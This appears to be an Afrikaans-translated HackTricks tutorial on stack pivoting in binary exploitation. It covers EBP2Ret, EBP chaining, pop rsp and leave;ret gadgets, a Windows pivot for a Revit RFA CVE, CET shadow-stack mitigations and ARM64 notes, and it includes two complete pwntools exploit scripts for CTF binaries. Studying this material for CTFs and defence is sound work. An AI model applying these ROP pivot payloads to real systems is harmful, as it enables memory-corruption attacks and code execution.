Stack Pivoting

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Hierdie tegniek misbruik die vermoë om die Base Pointer (EBP/RBP) te manipuleer om die uitvoering van verskeie funksies te ketting deur noukeurige gebruik van die frame pointer en die leave; ret instruksievolgorde.

Ter herinnering, op x86/x86-64 is leave ekwivalent aan:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86

En aangesien die gestoorde EBP/RBP is in the stack voor die gestoorde EIP/RIP, is dit moontlik om dit te beheer deur die stack te beheer.

Aantekeninge

  • Op 64-bit, vervang EBP→RBP en ESP→RSP. Semantiek is dieselfde.
  • Sommige compilers laat die frame pointer weg (sien “EBP might not be used”). In daardie geval mag leave nie verskyn nie en sal hierdie tegniek nie werk nie.

EBP2Ret

Hierdie tegniek is veral nuttig wanneer jy die gestoorde EBP/RBP kan verander maar geen direkte manier het om EIP/RIP te verander nie. Dit benut die funksie-epiloog-gedrag.

Indien jy, tydens die uitvoering van fvuln, daarin slaag om ’n fake EBP in die stack te inject wat na ’n area in geheue wys waar jou shellcode/ROP chain adres geleë is (plus 8 bytes op amd64 / 4 bytes op x86 om rekening te hou met die pop), kan jy indirek RIP beheer. Soos die funksie terugkeer, stel leave RSP na die gekerfde ligging en die op volgorde volgende pop rbp verlaag RSP, waardeur dit effektief na ’n adres wys wat deur die attacker daar gestoor is. Dan sal ret daardie adres gebruik.

Let daarop dat jy 2 adresse moet ken: die adres naartoe waar ESP/RSP gaan, en die waarde wat by daardie adres gestoor is wat ret sal gebruik.

Exploit Construction

Eerstens moet jy ’n adres ken waar jy arbitrêre data/adresse kan skryf. RSP sal hierheen wys en die eerste ret sal verbruik word.

Dan moet jy die adres kies wat deur ret gebruik sal word om uitvoering oor te dra. Jy kan gebruik:

  • ’n geldige ONE_GADGET adres.
  • Die adres van system() gevolg deur die toepaslike return en argumente (op x86: ret doel = &system, dan 4 junk bytes, dan &"/bin/sh").
  • Die adres van ’n jmp esp; gadget (ret2esp) gevolg deur inline shellcode.
  • ’n ROP chain staged in writable memory.

Onthou dat voor enige van hierdie adresse in die beheerde area, daar ruimte moet wees vir die pop ebp/rbp van leave (8B op amd64, 4B op x86). Jy kan hierdie bytes misbruik om ’n tweede fake EBP te stel en beheer te behou nadat die eerste call terugkeer.

Off-By-One Exploit

Daar is ’n variant wat gebruik word wanneer jy net die minste beduidende byte van die gestoor EBP/RBP kan wysig. In so ’n geval moet die geheue-ligging wat die adres bevat waarheen met ret gespring word, die eerste drie/vyf bytes met die oorspronklike EBP/RBP deel sodat ’n 1-byte oor-skryf dit kan herlei. Gewoonlik word die lae byte (offset 0x00) verhoog om soveel as moontlik binne ’n nabygeleë bladsy/gealigneerde area te spring.

Dit is ook algemeen om ’n RET sled in die stack te gebruik en die werklike ROP chain aan die einde te sit om dit meer waarskynlik te maak dat die nuwe RSP binne die sled val en die finale ROP chain uitgevoer word.

EBP Chaining

Deur ’n beheerbare adres in die gestoor EBP slot op die stack te plaas en ’n leave; ret gadget in EIP/RIP, is dit moontlik om ESP/RSP na ’n attacker-beheerde adres te skuif.

Nou is RSP beheer en die volgende instruksie is ret. Plaas in die beheerde geheue iets soos:

  • &(next fake EBP) -> Gelade deur pop ebp/rbp van leave.
  • &system() -> Aangeroep deur ret.
  • &(leave;ret) -> Nadat system eindig, skuif RSP na die volgende fake EBP en gaan voort.
  • &("/bin/sh") -> Argument vir system.

Op hierdie manier is dit moontlik om verskeie fake EBPs te ketting om die vloei van die program te beheer.

Dit is soos ’n ret2lib, maar meer kompleks en slegs nuttig in randgevalle.

Boonop het jy hier ’n example of a challenge wat hierdie tegniek met ’n stack leak gebruik om ’n winnende funksie te bel. Dit is die finale payload vanaf die bladsy:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 uitlijningswenk: System V ABI vereis 16-byte stack-uitlyning by oproepplekke. As jou chain funksies soos system aanroep, voeg ’n alignment gadget by (bv. ret, of sub rsp, 8 ; ret) voor die oproep om uitlyning te handhaaf en movaps-krasies te vermy.

EBP mag dalk nie gebruik word nie

As explained in this post, as ’n binary saamgestel is met sekere optimaliserings of met frame-pointer omission, die EBP/RBP never controls ESP/RSP. Daarom sal enige exploit wat deur die beheer van EBP/RBP werk misluk, omdat die prologue/epilogue nie vanaf die frame pointer herstel nie.

  • Nie geoptimaliseer / frame pointer gebruik:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Geoptimaliseer / raamwyser weggelaat:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

Op amd64 sal jy dikwels pop rbp ; ret sien in plaas van leave ; ret, maar as die frame pointer heeltemal weggelaat is, is daar geen rbp-gebaseerde epiloog waardeur gepivot kan word nie.

Ander maniere om RSP te beheer

pop rsp gadget

In this page kan jy ’n voorbeeld vind wat hierdie tegniek gebruik. Vir daardie uitdaging moes ’n funksie met 2 spesifieke argumente aangeroep word, en daar was ’n pop rsp gadget en daar is ’n leak from the stack:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Kyk na die ret2esp-tegniek hier:

Ret2esp / Ret2reg

Pivot-gadgets vinnig vind

Gebruik jou gunsteling gadget finder om te soek na klassieke pivot primitives:

  • leave ; ret on functions or in libraries
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (or add esp, <imm> ; ret on x86)

Voorbeelde:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Klassieke pivot-staging patroon

’n Robuuste pivot-strategie wat in baie CTFs/exploits gebruik word:

  1. Gebruik ’n klein initial overflow om read/recv na ’n groot writable region (bv. .bss, heap, of mapped RW memory) te laat skryf en plaas ’n volle ROP chain daar.
  2. Keer terug na ’n pivot gadget (leave ; ret, pop rsp, xchg rax, rsp ; ret) om RSP na daardie gebied te skuif.
  3. Gaan voort met die staged chain (bv., leak libc, call mprotect, dan read shellcode, en spring daarnaartoe).

Windows: Destructor-loop weird-machine pivots (Revit RFA gevallestudie)

Client-side parsers implementeer soms destructor loops wat indirek ’n function pointer aanroep wat afgelei is van attacker-controlled object fields. As elke iterasie presies een indirekte oproep bied (a “one-gadget” machine), kan jy dit omskakel in ’n betroubare stack pivot en ROP entry.

Waargeneem in Autodesk Revit RFA deserialization (CVE-2025-5037):

  • Gemaakte objects van tipe AString plaas ’n pointer na attacker bytes by offset 0.
  • Die destructor loop voer effektief een gadget per object uit:
rcx = [rbx]              ; object pointer (AString*)
rax = [rcx]              ; pointer to controlled buffer
call qword ptr [rax]     ; execute [rax] once per object

Twee praktiese pivots:

  • Windows 10 (32-bit heap addrs): misgeallieerde “monster gadget” wat 8B E0mov esp, eax, uiteindelik ret, bevat om vanaf die call primitive na ’n heap-based ROP chain te pivot.
  • Windows 11 (full 64-bit addrs): gebruik twee objeke om ’n constrained weird-machine pivot aan te dryf:
    • Gadget 1: push rax ; pop rbp ; ret (skuif oorspronklike rax na rbp)
    • Gadget 2: leave ; ... ; ret (word mov rsp, rbp ; pop rbp ; ret), wat pivot na die eerste objek se buffer, waar ’n konvensionele ROP chain volg.

Wenke vir Windows x64 na die pivot:

  • Respekteer die 0x20-byte shadow space en handhaaf 16-byte uitlyning voor call sites. Dit is dikwels gerieflik om literale bo die return address te plaas en ’n gadget soos lea rcx, [rsp+0x20] ; call rax gevolg deur pop rax ; ret te gebruik om stack-adresse te verbydra sonder om control flow te korrupteer.
  • Non-ASLR helper modules (indien teenwoordig) bied stabiele gadget pools en imports soos LoadLibraryW/GetProcAddress om dinamies targets soos ucrtbase!system op te los.
  • Creating missing gadgets via a writable thunk: as ’n veelbelovende sekwensie eindig in ’n call deur ’n writable function pointer (bv. DLL import thunk of function pointer in .data), oorskryf daardie pointer met ’n onskadelike single-step soos pop rax ; ret. Die sekwensie gedra dan soos dit met ret geëindig het (bv. mov rdx, rsi ; mov rcx, rdi ; ret), wat onontbeerlik is om Windows x64 arg-registers te laai sonder om ander te klobber.

Vir volle chain-konstruksie en gadget-voorbeelde, sien die verwysing hieronder.

Moderne mitigasies wat stack pivoting (CET/Shadow Stack) breek

Moderne x86 CPUs en OS’e implementeer toenemend CET Shadow Stack (SHSTK). Met SHSTK geaktiveer vergelyk ret die return address op die normale stack met ’n hardware-beskermde shadow stack; enige wanpassing veroorsaak ’n Control-Protection fault en beëindig die proses. Daarom sal tegnieke soos EBP2Ret/leave;ret-gebaseerde pivots crash sodra die eerste ret vanaf ’n gepivoteerde stack uitgevoer word.

  • For background and deeper details see:

CET & Shadow Stack

  • Vinnige kontroles op Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Notes for labs/CTF:

  • Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter nousershstk, or selectively enabled via glibc tunables during startup (see references). Moet nie mitigations op produksie-doelwitte deaktiveer nie.

  • JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks ret-based pivots.

  • Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at ret; developers opt-in via CETCOMPAT and related policies (see reference).

ARM64

In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.

Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.

  • prologue
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • epilogue
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Die manier om iets soortgelyks aan stack pivoting in ARM64 uit te voer sou wees om die vermoë te hê om die SP te beheer (deur ’n register te beheer waarvan die waarde aan SP deurgegee word of omdat om een of ander rede SP sy adres vanaf die stack neem en ons ’n overflow het) en dan die epilogue te misbruik om die x30 register vanaf ’n gekontroleerde SP te laai en daarna na dit te RET.

Also in the following page you can see the equivalent of Ret2esp in ARM64:

Ret2esp / Ret2reg

References

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks